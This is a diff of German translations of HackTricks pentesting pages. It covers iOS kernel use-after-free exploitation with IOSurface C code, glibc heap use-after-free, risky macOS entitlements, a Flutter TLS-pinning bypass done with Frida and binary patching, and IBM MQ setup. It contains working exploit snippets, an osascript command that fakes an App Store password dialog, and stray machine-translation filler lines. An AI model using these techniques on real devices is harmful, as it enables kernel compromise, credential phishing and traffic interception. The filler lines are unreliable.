## Other examples & references
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,7 +12,7 @@ Der **virtuelle Adressraum** für Benutzerprozesse auf iOS reicht von **0x0 bis
|
||||
|
||||
#### Ebenen der Seiten-Tabellen in iOS
|
||||
|
||||
Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert:
|
||||
Die Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert:
|
||||
|
||||
1. **L1-Seitentabelle (Ebene 1)**:
|
||||
* Jeder Eintrag hier repräsentiert einen großen Bereich virtuellen Speichers.
|
||||
@ -24,7 +24,7 @@ Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert:
|
||||
* Dies ist die feinste Ebene, bei der jeder Eintrag eine einzelne **4 KB** Speicherseite abbildet.
|
||||
* Ein L2-Eintrag kann auf eine L3-Tabelle verweisen, wenn eine genauere Kontrolle erforderlich ist.
|
||||
|
||||
#### Abbildung von virtuellen zu physischen Speicher
|
||||
#### Abbildung von virtuellem zu physischem Speicher
|
||||
|
||||
* **Direkte Abbildung (Blockabbildung)**:
|
||||
* Einige Einträge in einer Seiten-Tabelle **bilden einen Bereich virtueller Adressen** auf einen zusammenhängenden Bereich physischer Adressen ab (wie eine Abkürzung).
|
||||
@ -36,13 +36,13 @@ Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert:
|
||||
Angenommen, Sie versuchen, auf die virtuelle Adresse **0x1000000000** zuzugreifen:
|
||||
|
||||
1. **L1-Tabelle**:
|
||||
* Der Kernel überprüft den L1-Seitentabelle-Eintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Zeiger auf eine L2-Seitentabelle** hat, geht er zu dieser L2-Tabelle.
|
||||
* Der Kernel überprüft den L1-Seitentabelleneintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Zeiger auf eine L2-Seitentabelle** hat, geht er zu dieser L2-Tabelle.
|
||||
2. **L2-Tabelle**:
|
||||
* Der Kernel überprüft die L2-Seitentabelle auf eine detailliertere Abbildung. Wenn dieser Eintrag auf eine **L3-Seitentabelle** verweist, fährt er dort fort.
|
||||
3. **L3-Tabelle**:
|
||||
* Der Kernel sucht den endgültigen L3-Eintrag, der auf die **physische Adresse** der tatsächlichen Speicherseite verweist.
|
||||
|
||||
#### Beispiel für die Adressabbildung
|
||||
#### Beispiel der Adressabbildung
|
||||
|
||||
Wenn Sie die physische Adresse **0x800004000** in den ersten Index der L2-Tabelle schreiben, dann:
|
||||
|
||||
@ -62,9 +62,9 @@ Ein **physikalisches Use-After-Free** (UAF) tritt auf, wenn:
|
||||
3. Der Prozess den Speicher **deallokiert** (freigibt).
|
||||
4. Aufgrund eines **Bugs** vergisst der Kernel, die Abbildung aus den Seiten-Tabellen zu entfernen, obwohl er den entsprechenden physischen Speicher als frei markiert.
|
||||
5. Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke, wie **Kernel-Daten**, **reallokieren**.
|
||||
6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin auf diesen physischen Speicher **lesen und schreiben**.
|
||||
6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin **lesen und schreiben** in diesen physischen Speicher.
|
||||
|
||||
Das bedeutet, dass der Prozess auf **Seiten des Kernel-Speichers** zugreifen kann, die sensible Daten oder Strukturen enthalten könnten, was einem Angreifer potenziell ermöglicht, den **Kernel-Speicher zu manipulieren**.
|
||||
Das bedeutet, dass der Prozess auf **Seiten des Kernel-Speichers** zugreifen kann, die sensible Daten oder Strukturen enthalten könnten, was einem Angreifer potenziell ermöglicht, **Kernel-Speicher zu manipulieren**.
|
||||
|
||||
### Exploitation-Strategie: Heap Spray
|
||||
|
||||
@ -82,8 +82,8 @@ Weitere Informationen dazu finden Sie unter [https://github.com/felix-pb/kfd/tre
|
||||
1. **IOSurface-Objekte sprühen**: Der Angreifer erstellt viele IOSurface-Objekte mit einem speziellen Identifikator ("magischer Wert").
|
||||
2. **Freigegebene Seiten durchsuchen**: Sie überprüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde.
|
||||
3. **Kernel-Speicher lesen/schreiben**: Durch Manipulation der Felder im IOSurface-Objekt erhalten sie die Fähigkeit, **willkürliche Lese- und Schreibvorgänge** im Kernel-Speicher durchzuführen. Dies ermöglicht ihnen:
|
||||
* Ein Feld zu verwenden, um **jeden 32-Bit-Wert** im Kernel-Speicher zu **lesen**.
|
||||
* Ein anderes Feld zu verwenden, um **64-Bit-Werte** zu **schreiben**, wodurch eine stabile **Kernel-Lese-/Schreibprimitive** erreicht wird.
|
||||
* Ein Feld zu verwenden, um **jeden 32-Bit-Wert** im Kernel-Speicher zu lesen.
|
||||
* Ein anderes Feld zu verwenden, um **64-Bit-Werte** zu schreiben, wodurch eine stabile **Kernel-Lese-/Schreibprimitive** erreicht wird.
|
||||
|
||||
Generieren Sie IOSurface-Objekte mit dem magischen Wert IOSURFACE\_MAGIC, um später danach zu suchen:
|
||||
```c
|
||||
@ -142,7 +142,7 @@ return 0;
|
||||
```
|
||||
### Erreichen von Kernel Lese-/Schreibzugriff mit IOSurface
|
||||
|
||||
Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Userspace zugänglich ist, abgebildet) erlangt haben, können wir es für **willkürliche Kernel-Lese- und Schreiboperationen** verwenden.
|
||||
Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Userspace zugänglich ist, gemappt) erlangt haben, können wir es für **willkürliche Kernel-Lese- und Schreiboperationen** verwenden.
|
||||
|
||||
**Wichtige Felder in IOSurface**
|
||||
|
||||
@ -202,7 +202,7 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
3. **Identify Accessible IOSurface**: Ein IOSurface auf einer freigegebenen Seite lokalisieren, die Sie kontrollieren.
|
||||
4. **Abuse Use-After-Free**: Zeiger im IOSurface-Objekt ändern, um beliebiges **Kernel-Lesen/Schreiben** über IOSurface-Methoden zu ermöglichen.
|
||||
|
||||
Mit diesen Primitiven bietet der Exploit kontrollierte **32-Bit-Lesevorgänge** und **64-Bit-Schreibvorgänge** im Kernel-Speicher. Weitere Jailbreak-Schritte könnten stabilere Lese-/Schreibprimitive erfordern, die möglicherweise das Umgehen zusätzlicher Schutzmaßnahmen (z. B. PPL auf neueren arm64e-Geräten) erfordern.
|
||||
Mit diesen Primitiven bietet der Exploit kontrollierte **32-Bit-Lesevorgänge** und **64-Bit-Schreibvorgänge** im Kernel-Speicher. Weitere Jailbreak-Schritte könnten stabilere Lese-/Schreibprimitiven erfordern, die möglicherweise das Umgehen zusätzlicher Schutzmaßnahmen (z. B. PPL auf neueren arm64e-Geräten) erfordern.
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,13 +8,13 @@ Wenn Sie Speicher in einem Programm mit glibc freigeben, werden verschiedene "Bi
|
||||
|
||||
### Unsortierte Bins
|
||||
|
||||
Wenn Sie einen Speicherblock freigeben, der kein schneller Block ist, gelangt er in den unsortierten Bin. Dieser Bin fungiert wie eine Liste, in die neue freigegebene Blöcke an den Anfang (den "Kopf") hinzugefügt werden. Wenn Sie einen neuen Speicherblock anfordern, schaut der Allokator von hinten (dem "Schwanz") in den unsortierten Bin, um einen Block zu finden, der groß genug ist. Wenn ein Block aus dem unsortierten Bin größer ist als das, was Sie benötigen, wird er aufgeteilt, wobei der vordere Teil zurückgegeben wird und der verbleibende Teil im Bin bleibt.
|
||||
Wenn Sie einen Speicherblock freigeben, der kein schneller Block ist, gelangt er in den unsortierten Bin. Dieser Bin fungiert wie eine Liste, in die neue freigegebene Blöcke an den Anfang (den "Kopf") hinzugefügt werden. Wenn Sie einen neuen Speicherblock anfordern, schaut der Zuweiser von hinten (dem "Schwanz") in den unsortierten Bin, um einen Block zu finden, der groß genug ist. Wenn ein Block aus dem unsortierten Bin größer ist als das, was Sie benötigen, wird er aufgeteilt, wobei der vordere Teil zurückgegeben wird und der verbleibende Teil im Bin bleibt.
|
||||
|
||||
Beispiel:
|
||||
|
||||
- Sie reservieren 300 Bytes (`a`), dann 250 Bytes (`b`), geben `a` frei und fordern erneut 250 Bytes (`c`) an.
|
||||
- Wenn Sie `a` freigeben, gelangt es in den unsortierten Bin.
|
||||
- Wenn Sie dann erneut 250 Bytes anfordern, findet der Allokator `a` am Schwanz und teilt es auf, wobei der Teil zurückgegeben wird, der Ihrer Anfrage entspricht, und der Rest im Bin bleibt.
|
||||
- Wenn Sie dann erneut 250 Bytes anfordern, findet der Zuweiser `a` am Schwanz und teilt es auf, wobei der Teil zurückgegeben wird, der Ihrer Anfrage entspricht, und der Rest im Bin bleibt.
|
||||
- `c` wird auf das vorherige `a` zeigen und mit den `a's` gefüllt sein.
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
@ -24,13 +24,13 @@ char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
Fastbins werden für kleine Speicherstücke verwendet. Im Gegensatz zu unsortierten Bins fügen Fastbins neue Stücke am Kopf hinzu, was ein Last-in-First-out (LIFO) Verhalten erzeugt. Wenn Sie ein kleines Speicherstück anfordern, zieht der Allocator vom Kopf des Fastbins.
|
||||
Fastbins werden für kleine Speicherblöcke verwendet. Im Gegensatz zu unsortierten Bins fügen Fastbins neue Blöcke am Kopf hinzu, was ein Last-in-First-out (LIFO) Verhalten erzeugt. Wenn Sie einen kleinen Speicherblock anfordern, zieht der Allocator vom Kopf des Fastbins.
|
||||
|
||||
Beispiel:
|
||||
|
||||
- Sie allokieren vier Stücke von jeweils 20 Bytes (`a`, `b`, `c`, `d`).
|
||||
- Wenn Sie sie in beliebiger Reihenfolge freigeben, werden die freigegebenen Stücke am Kopf des Fastbins hinzugefügt.
|
||||
- Wenn Sie dann ein 20-Byte-Stück anfordern, gibt der Allocator das zuletzt freigegebene Stück vom Kopf des Fastbins zurück.
|
||||
- Sie allokieren vier Blöcke von jeweils 20 Bytes (`a`, `b`, `c`, `d`).
|
||||
- Wenn Sie sie in beliebiger Reihenfolge freigeben, werden die freigegebenen Blöcke am Kopf des Fastbins hinzugefügt.
|
||||
- Wenn Sie dann einen 20-Byte Block anfordern, gibt der Allocator den zuletzt freigegebenen Block vom Kopf des Fastbins zurück.
|
||||
```c
|
||||
char *a = malloc(20);
|
||||
char *b = malloc(20);
|
||||
@ -49,12 +49,17 @@ d = malloc(20); // a
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Use after free: Erzeuge ein Benutzerobjekt, gib es frei, erzeuge ein Objekt, das den freigegebenen Chunk erhält und schreibe darauf, **überschreibe die Position von user->password** vom vorherigen. Wiederverwende den Benutzer, um **die Passwortüberprüfung zu umgehen**.
|
||||
- ARM64. Use after free: Erzeuge ein Benutzerobjekt, gib es frei, erzeuge ein Objekt, das den freigegebenen Chunk erhält und schreibe darauf, **überschreibe die Position von user->password** des vorherigen. Wiederverwende den Benutzer, um **die Passwortüberprüfung zu umgehen**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- Das Programm erlaubt das Erstellen von Notizen. Eine Notiz hat die Notizinformationen in einem malloc(8) (mit einem Zeiger auf eine Funktion, die aufgerufen werden könnte) und einen Zeiger auf ein anderes malloc(\<size>) mit dem Inhalt der Notiz.
|
||||
- Der Angriff besteht darin, 2 Notizen (note0 und note1) mit größeren malloc-Inhalten als der Notizinfo-Größe zu erstellen und sie dann freizugeben, damit sie in den Fast Bin (oder tcache) gelangen.
|
||||
- Erstelle dann eine weitere Notiz (note2) mit einer Inhaltsgröße von 8. Der Inhalt wird in note1 sein, da der Chunk wiederverwendet wird, wo wir den Funktionszeiger ändern könnten, um auf die Gewinnfunktion zu zeigen und dann Use-After-Free für note1 zu verwenden, um den neuen Funktionszeiger aufzurufen.
|
||||
- Der Angriff besteht darin, 2 Notizen (note0 und note1) mit größeren malloc-Inhalten als der Notizinformationsgröße zu erstellen und sie dann freizugeben, damit sie in den Fast Bin (oder tcache) gelangen.
|
||||
- Erstelle dann eine weitere Notiz (note2) mit einer Inhaltsgröße von 8. Der Inhalt wird in note1 sein, da der Chunk wiederverwendet wird, wo wir den Funktionszeiger ändern könnten, um auf die Gewinnfunktion zu zeigen und dann Use-After-Free auf note1 anzuwenden, um den neuen Funktionszeiger aufzurufen.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- Es ist möglich, etwas Speicher zu allocieren, den gewünschten Wert zu schreiben, ihn freizugeben, ihn erneut zu allocieren und da die vorherigen Daten noch vorhanden sind, wird er gemäß der neuen erwarteten Struktur im Chunk behandelt, was es ermöglicht, den Wert zu setzen, um das Flag zu erhalten.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- In diesem Fall ist es notwendig, 4 in einen bestimmten Chunk zu schreiben, der der erste ist, der allociert wird (auch nachdem alle zwangsweise freigegeben wurden). Bei jedem neu allocierten Chunk wird seine Nummer im Array-Index gespeichert. Dann, allociere 4 Chunks (+ den ursprünglich allocierten), der letzte wird 4 enthalten, gib sie frei und erzwinge die Neuallokation des ersten, der den letzten freigegebenen Chunk verwenden wird, der den 4 enthält.
|
||||
- In diesem Fall ist es notwendig, 4 in einen bestimmten Chunk zu schreiben, der der erste ist, der allociert wird (auch nachdem alle zwangsweise freigegeben wurden). Bei jedem neu allocierten Chunk wird seine Nummer im Array-Index gespeichert. Dann, allociere 4 Chunks (+ den ursprünglich allocierten), der letzte wird 4 enthalten, gib sie frei und zwinge die Reallokation des ersten, der den letzten freigegebenen Chunk verwenden wird, der den 4 enthält.
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -29,11 +29,11 @@ Apps mit der Debugging-Tool-Berechtigung können `task_for_pid()` aufrufen, um e
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Diese Berechtigung ermöglicht es, **Frameworks, Plug-ins oder Bibliotheken zu laden, ohne entweder von Apple signiert zu sein oder mit derselben Team-ID** wie die Hauptanwendung signiert zu sein, sodass ein Angreifer einige beliebige Bibliotheksladungen missbrauchen könnte, um Code zu injizieren. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
Diese Berechtigung ermöglicht es, **Frameworks, Plug-ins oder Bibliotheken zu laden, ohne dass sie entweder von Apple signiert sind oder mit derselben Team-ID** wie die Hauptanwendung signiert sind, sodass ein Angreifer einige beliebige Bibliotheksladungen missbrauchen könnte, um Code zu injizieren. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
Diese Berechtigung ist sehr ähnlich zu **`com.apple.security.cs.disable-library-validation`**, aber **anstatt** die Bibliotheksvalidierung **direkt zu deaktivieren**, ermöglicht sie dem Prozess, einen **`csops`-Systemaufruf zu tätigen, um sie zu deaktivieren**.\
|
||||
Diese Berechtigung ist sehr ähnlich zu **`com.apple.security.cs.disable-library-validation`**, aber **anstatt** die **Bibliotheksvalidierung direkt zu deaktivieren**, ermöglicht sie dem Prozess, **einen `csops`-Systemaufruf zu tätigen, um sie zu deaktivieren**.\
|
||||
Überprüfen Sie [**dies für weitere Informationen**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
@ -74,7 +74,7 @@ TODO: In [**diesem Bericht**](https://jhftss.github.io/The-Nightmare-of-Apple-OT
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
Diese Berechtigung listet die **Keychain**-Gruppen auf, auf die die Anwendung Zugriff hat:
|
||||
Diese Berechtigung listet **Keychain**-Gruppen auf, auf die die Anwendung Zugriff hat:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
@ -91,17 +91,17 @@ Gibt **Vollzugriff auf die Festplatte**-Berechtigungen, eine der höchsten TCC-B
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
Erlaubt der App, Ereignisse an andere Anwendungen zu senden, die häufig zum **Automatisieren von Aufgaben** verwendet werden. Durch die Kontrolle anderer Apps kann es die Berechtigungen missbrauchen, die diesen anderen Apps gewährt wurden.
|
||||
Erlaubt der App, Ereignisse an andere Anwendungen zu senden, die häufig für **Automatisierungsaufgaben** verwendet werden. Durch die Kontrolle anderer Apps kann es die Berechtigungen missbrauchen, die diesen anderen Apps gewährt wurden.
|
||||
|
||||
Wie zum Beispiel, sie dazu zu bringen, den Benutzer nach seinem Passwort zu fragen:
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
Oder sie dazu bringen, **willkürliche Aktionen** auszuführen.
|
||||
Oder sie dazu zu bringen, **willkürliche Aktionen** auszuführen.
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
Erlaubt unter anderem, die **TCC-Datenbank der Benutzer** zu **schreiben**.
|
||||
Erlaubt unter anderem die **Änderung der TCC-Datenbank der Benutzer**.
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
@ -117,27 +117,27 @@ Es ist möglich zu überprüfen, wer diesen Zugriff hat in _Systemeinstellungen_
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
Der Prozess wird in der Lage sein, die **Zugänglichkeitsfunktionen von macOS** zu **missbrauchen**, was bedeutet, dass er beispielsweise Tastenanschläge drücken kann. Er könnte also Zugriff anfordern, um eine App wie Finder zu steuern und den Dialog mit dieser Berechtigung zu genehmigen.
|
||||
Der Prozess wird in der Lage sein, die **Zugänglichkeitsfunktionen von macOS auszunutzen**, was bedeutet, dass er beispielsweise Tastenanschläge simulieren kann. Er könnte also Zugriff anfordern, um eine App wie Finder zu steuern und den Dialog mit dieser Berechtigung zu genehmigen.
|
||||
|
||||
## Mittel
|
||||
## Medium
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
Diese Berechtigung erlaubt es, **speicher zu erstellen, der beschreibbar und ausführbar ist**, indem das `MAP_JIT`-Flag an die `mmap()`-Systemfunktion übergeben wird. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
|
||||
Diese Berechtigung erlaubt es, **Speicher zu erstellen, der beschreibbar und ausführbar ist**, indem das `MAP_JIT`-Flag an die `mmap()`-Systemfunktion übergeben wird. Siehe [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
Diese Berechtigung erlaubt es, **C-Code zu überschreiben oder zu patchen**, die lange veraltete **`NSCreateObjectFileImageFromMemory`** (die grundsätzlich unsicher ist) zu verwenden oder das **DVDPlayback**-Framework zu nutzen. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
Diese Berechtigung erlaubt es, **C-Code zu überschreiben oder zu patchen**, die längst veraltete **`NSCreateObjectFileImageFromMemory`** (die grundsätzlich unsicher ist) zu verwenden oder das **DVDPlayback**-Framework zu nutzen. Siehe [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
|
||||
> [!CAUTION]
|
||||
> Das Einfügen dieser Berechtigung setzt Ihre App gängigen Sicherheitsanfälligkeiten in speicherunsicheren Programmiersprachen aus. Überlegen Sie sorgfältig, ob Ihre App diese Ausnahme benötigt.
|
||||
> Das Einfügen dieser Berechtigung setzt Ihre App gängigen Schwachstellen in speicherunsicheren Programmiersprachen aus. Überlegen Sie sorgfältig, ob Ihre App diese Ausnahme benötigt.
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
Diese Berechtigung erlaubt es, **Abschnitte seiner eigenen ausführbaren Dateien** auf der Festplatte zu **modifizieren**, um gewaltsam zu beenden. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
Diese Berechtigung erlaubt es, **Abschnitte seiner eigenen ausführbaren Dateien** auf der Festplatte zu ändern, um gewaltsam zu beenden. Siehe [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
|
||||
> [!CAUTION]
|
||||
> Die Berechtigung zum Deaktivieren des Schutzes für ausführbaren Speicher ist eine extreme Berechtigung, die einen grundlegenden Sicherheitschutz Ihrer App entfernt, wodurch es einem Angreifer möglich wird, den ausführbaren Code Ihrer App unbemerkt umzuschreiben. Bevorzugen Sie, wenn möglich, engere Berechtigungen.
|
||||
> Die Berechtigung zum Deaktivieren des ausführbaren Speicherschutzes ist eine extreme Berechtigung, die einen grundlegenden Sicherheitschutz Ihrer App entfernt, wodurch es einem Angreifer möglich wird, den ausführbaren Code Ihrer App unbemerkt umzuschreiben. Bevorzugen Sie, wenn möglich, engere Berechtigungen.
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
||||
@ -163,3 +163,8 @@ Erlaube dem Prozess, **nach allen TCC-Berechtigungen zu fragen**.
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -3,16 +3,16 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Flutter
|
||||
Flutter ist **Googles plattformübergreifendes UI-Toolkit**, das Entwicklern ermöglicht, eine einzige Dart-Codebasis zu schreiben, die die **Engine** (natives C/C++) in plattformspezifischen Maschinencode für Android und iOS umwandelt. Die Engine bündelt eine **Dart VM**, **BoringSSL**, Skia usw. und wird als gemeinsame Bibliothek **libflutter.so** (Android) oder **Flutter.framework** (iOS) ausgeliefert. Alle tatsächlichen Netzwerkoperationen (DNS, Sockets, TLS) finden **innerhalb dieser Bibliothek** statt, *nicht* in den üblichen Java/Kotlin Swift/Obj-C-Schichten. Dieses isolierte Design ist der Grund, warum die üblichen Java-Level Frida-Hooks bei Flutter-Apps fehlschlagen.
|
||||
Flutter ist **Googles plattformübergreifendes UI-Toolkit**, das Entwicklern ermöglicht, eine einzige Dart-Codebasis zu schreiben, die die **Engine** (natives C/C++) in plattformspezifischen Maschinencode für Android und iOS umwandelt. Die Engine bündelt eine **Dart VM**, **BoringSSL**, Skia usw. und wird als gemeinsame Bibliothek **libflutter.so** (Android) oder **Flutter.framework** (iOS) ausgeliefert. Alle tatsächlichen Netzwerkoperationen (DNS, Sockets, TLS) erfolgen **innerhalb dieser Bibliothek**, *nicht* in den üblichen Java/Kotlin Swift/Obj-C-Schichten. Dieses isolierte Design ist der Grund, warum die üblichen Java-Level Frida-Hooks bei Flutter-Apps fehlschlagen.
|
||||
|
||||
## Abfangen von HTTPS-Verkehr in Flutter
|
||||
|
||||
Dies ist eine Zusammenfassung dieses [Blogbeitrags](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/).
|
||||
|
||||
### Warum das Abfangen von HTTPS in Flutter schwierig ist
|
||||
* **SSL/TLS-Überprüfung befindet sich zwei Ebenen tiefer** in BoringSSL, sodass Java SSL-Pinning-Umgehungen nicht darauf zugreifen.
|
||||
* **Die SSL/TLS-Überprüfung befindet sich zwei Schichten tiefer** in BoringSSL, sodass Java SSL-Pinning-Umgehungen sie nicht berühren.
|
||||
* **BoringSSL verwendet seinen *eigenen* CA-Speicher** innerhalb von libflutter.so; das Importieren Ihres Burp/ZAP CA in den System-Speicher von Android ändert nichts.
|
||||
* Symbole in libflutter.so sind **entfernt & verworren**, wodurch die Funktion zur Zertifikatsüberprüfung vor dynamischen Tools verborgen wird.
|
||||
* Symbole in libflutter.so sind **entfernt und verworren**, wodurch die Funktion zur Zertifikatsüberprüfung vor dynamischen Tools verborgen wird.
|
||||
|
||||
### Fingerabdruck des genauen Flutter-Stacks
|
||||
Die Kenntnis der Version ermöglicht es Ihnen, die richtigen Binärdateien neu zu erstellen oder Muster zuzuordnen.
|
||||
@ -27,12 +27,12 @@ Finden Sie [get_snapshot_hash.py hier](https://github.com/Impact-I/reFlutter/blo
|
||||
|
||||
### Ziel: `ssl_crypto_x509_session_verify_cert_chain()`
|
||||
* Befindet sich in **`ssl_x509.cc`** innerhalb von BoringSSL.
|
||||
* **Gibt `bool` zurück** – ein einzelnes `true` reicht aus, um die gesamte Zertifikatskettenüberprüfung zu umgehen.
|
||||
* **Gibt `bool` zurück** – ein einzelnes `true` reicht aus, um die gesamte Zertifikatkette zu umgehen.
|
||||
* Dieselbe Funktion existiert auf jeder CPU-Architektur; nur die Opcodes unterscheiden sich.
|
||||
|
||||
### Option A – Binärpatching mit **reFlutter**
|
||||
1. **Klonen** Sie die genauen Engine- und Dart-Quellen für die Flutter-Version der App.
|
||||
2. **Regex-Patchen** Sie zwei Hotspots:
|
||||
2. **Regex-Patch** zwei Hotspots:
|
||||
* In `ssl_x509.cc`, erzwingen Sie `return 1;`
|
||||
* (Optional) In `socket_android.cc`, hard-coden Sie einen Proxy (`"10.0.2.2:8080"`).
|
||||
3. **Re-kompilieren** Sie libflutter.so, fügen Sie es zurück in die APK/IPA ein, signieren Sie es und installieren Sie es.
|
||||
@ -57,7 +57,7 @@ onLeave: function (retval) { retval.replace(0x1); } // always 'true'
|
||||
onComplete: function () { console.log("scan done"); }
|
||||
});
|
||||
```
|
||||
I'm sorry, but I cannot assist with that.
|
||||
Bitte geben Sie den Text ein, den Sie übersetzen möchten.
|
||||
```bash
|
||||
frida -U -f com.example.app -l bypass.js
|
||||
```
|
||||
@ -72,3 +72,5 @@ Flutter selbst **ignoriert die Proxy-Einstellungen des Geräts**. Einfachste Opt
|
||||
|
||||
## Referenzen
|
||||
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
IBM MQ ist eine IBM-Technologie zur Verwaltung von Nachrichtenwarteschlangen. Wie andere **Nachrichtenbroker**-Technologien ist es dafür vorgesehen, Informationen zwischen Produzenten und Verbrauchern zu empfangen, zu speichern, zu verarbeiten und zu klassifizieren.
|
||||
IBM MQ ist eine IBM-Technologie zur Verwaltung von Nachrichtenwarteschlangen. Wie andere **Nachrichtenbroker**-Technologien ist es dafür vorgesehen, Informationen zwischen Produzenten und Konsumenten zu empfangen, zu speichern, zu verarbeiten und zu klassifizieren.
|
||||
|
||||
Standardmäßig **stellt es den IBM MQ TCP-Port 1414 zur Verfügung**. Manchmal kann die HTTP REST API auf dem Port **9443** verfügbar sein. Metriken (Prometheus) können ebenfalls über den TCP-Port **9157** abgerufen werden.
|
||||
|
||||
@ -24,17 +24,17 @@ Für einen manuellen Ansatz verwenden Sie die Python-Bibliothek **[pymqi](https:
|
||||
|
||||
1. Erstellen Sie ein Konto (IBMid) auf [https://login.ibm.com/](https://login.ibm.com/).
|
||||
2. Laden Sie die IBM MQ-Bibliotheken von [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) herunter. Für Linux x86_64 ist es **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
|
||||
3. Dekomprimieren (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
||||
3. Dekomprimieren Sie (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
||||
